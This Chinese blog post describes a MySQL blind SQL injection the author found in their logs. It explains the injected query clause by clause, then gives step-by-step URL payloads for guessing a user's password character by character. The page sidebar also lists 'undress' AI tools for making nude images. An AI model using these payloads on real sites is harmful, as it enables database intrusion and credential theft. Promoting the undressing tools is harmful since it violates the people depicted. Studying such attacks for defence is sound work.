目錄
MySQL 猜解注入
首頁 資料庫 mysql教程 遭遇一次MySQL猜解注入攻击

遭遇一次MySQL猜解注入攻击

Jun 07, 2016 pm 04:24 PM
mysql 攻擊 資料庫 注入

前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份。查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼: UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM us

前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份。查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼:

UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#
登入後複製

PS:user 这个表是数据库里一个以前测试用的表,表的结构也写到博文里面,暴露了字段。

这句 SQL 为什么能那么厉害呢?我们接下来分析一下。

1. 首先是 CAST(FirstName AS CHAR) 这个子句。MySQL 的 CAST() 函数可用来获取一个类型的值,并产生另一个类型的值。具体的使用可以参看 MySQL CAST与CONVERT 函数的用法 这篇文章。我们执行一下,看看结果是什么:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;
+-------------------------+
| CAST(FirstName AS CHAR) |
+-------------------------+
| Gonn                    |
| Mio                     |
| Google                  |
| yale                    |
+-------------------------+
4 rows in set
登入後複製

就是将 FirstName 这个字段全部转成 CHAR 类型。

2. 接下来我们再看 IFNULL(CAST(FirstName AS CHAR),0x20) 这个子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。具体可以参看《MySQL IFNULL()函数用法》。

执行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;
+--------------------------------------+
| IFNULL(CAST(FirstName AS CHAR),0x20) |
+--------------------------------------+
| Gonn                                 |
| Mio                                  |
| Google                               |
| yale                                 |
+--------------------------------------+
4 rows in set
登入後複製

虽然看起来结果没啥不同,但是,它起到了一个作用。假设 CAST 转换成 CHAR 失败,它就会返回 0x20 这个值,为后面的 ORD 提供作用。

3. 接下来再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 这个子句。MID() 这个函数就是截取字符串用的,具体可以看看《MySQL MID()函数用法》这个。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);
+----------------------------------------------------------------------------------------+
| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |
+----------------------------------------------------------------------------------------+
| i                                                                                      |
+----------------------------------------------------------------------------------------+
1 row in set
登入後複製

就得到一个字母 i。

4. 关键的子句来了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函数返回字符串第一个字符的 ASCII 值, 《《MySQL ORD()函数用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));
+---------------------------------------------------------------------------------------------+
| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |
+---------------------------------------------------------------------------------------------+
|                                                                                         105 |
+---------------------------------------------------------------------------------------------+
1 row in set
登入後複製

就是 i 的 ASCII 码是105.

如果是失败,返回 0x20 这种情况:

mysql> SELECT ORD('0x20');
+-------------+
| ORD('0x20') |
+-------------+
|          48 |
+-------------+
1 row in set
登入後複製

两种情况,在 ASCII 码中都要比 112 前,就是下面的 hack 语句是可以执行的。

UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#
登入後複製

MySQL 猜解注入

在 MySQL 中内置了很多函数,利用它们,即使在没有联合查询功能的老版本 MySQL 上也可以做一些意想不到的操作。假设网站存在于http://www.nm.net/,我们想知道用户ID等于10的用户的密码,那么首先进行如下请求:

http://www.nm.net/index.php?id=10 and length(password)=12#
登入後複製

我们通过 length() 函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是12位,注意数字后要有一个#号。接下来用mid()和char()暴力猜解口令的每一个字符,如果猜对了则页面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#
登入後複製

Mid()函数原型是“Mid(str,pos,len)”,也可以用substring()函数。Char()函数的参数是ASCII值,在0~255之间,一个遍历过去就可以完成破解。

另外还可以用between()函数先判断这个字符是数字还是字母,缩小范围,加快暴力破解的速度。例如要判断字符是否是小写字母还可以用如下请求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#
登入後複製

除了char()函数,还可以用ord函数来进行猜解。Ord函数可以得到字符的ASCII值,所以它也能实现类似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#
登入後複製

用ord函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#
登入後複製

就这样慢慢一步步手工猜解注入。

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
2 週前 By 尊渡假赌尊渡假赌尊渡假赌
倉庫:如何復興隊友
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒險:如何獲得巨型種子
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

如何優化 PHP 中的 MySQL 查詢效能? 如何優化 PHP 中的 MySQL 查詢效能? Jun 03, 2024 pm 08:11 PM

如何優化 PHP 中的 MySQL 查詢效能?

如何在 PHP 中使用 MySQL 備份和還原? 如何在 PHP 中使用 MySQL 備份和還原? Jun 03, 2024 pm 12:19 PM

如何在 PHP 中使用 MySQL 備份和還原?

如何使用 PHP 插入資料到 MySQL 表? 如何使用 PHP 插入資料到 MySQL 表? Jun 02, 2024 pm 02:26 PM

如何使用 PHP 插入資料到 MySQL 表?

如何修復 MySQL 8.4 上的 mysql_native_password 未載入錯誤 如何修復 MySQL 8.4 上的 mysql_native_password 未載入錯誤 Dec 09, 2024 am 11:42 AM

如何修復 MySQL 8.4 上的 mysql_native_password 未載入錯誤

如何在 PHP 中使用 MySQL 預存程序? 如何在 PHP 中使用 MySQL 預存程序? Jun 02, 2024 pm 02:13 PM

如何在 PHP 中使用 MySQL 預存程序?

如何使用 PHP 建立 MySQL 表? 如何使用 PHP 建立 MySQL 表? Jun 04, 2024 pm 01:57 PM

如何使用 PHP 建立 MySQL 表?

在PHP中使用MySQLi建立資料庫連線的詳盡教學 在PHP中使用MySQLi建立資料庫連線的詳盡教學 Jun 04, 2024 pm 01:42 PM

在PHP中使用MySQLi建立資料庫連線的詳盡教學

iOS 18 新增「已復原」相簿功能 可找回遺失或損壞的照片 iOS 18 新增「已復原」相簿功能 可找回遺失或損壞的照片 Jul 18, 2024 am 05:48 AM

iOS 18 新增「已復原」相簿功能 可找回遺失或損壞的照片

See all articles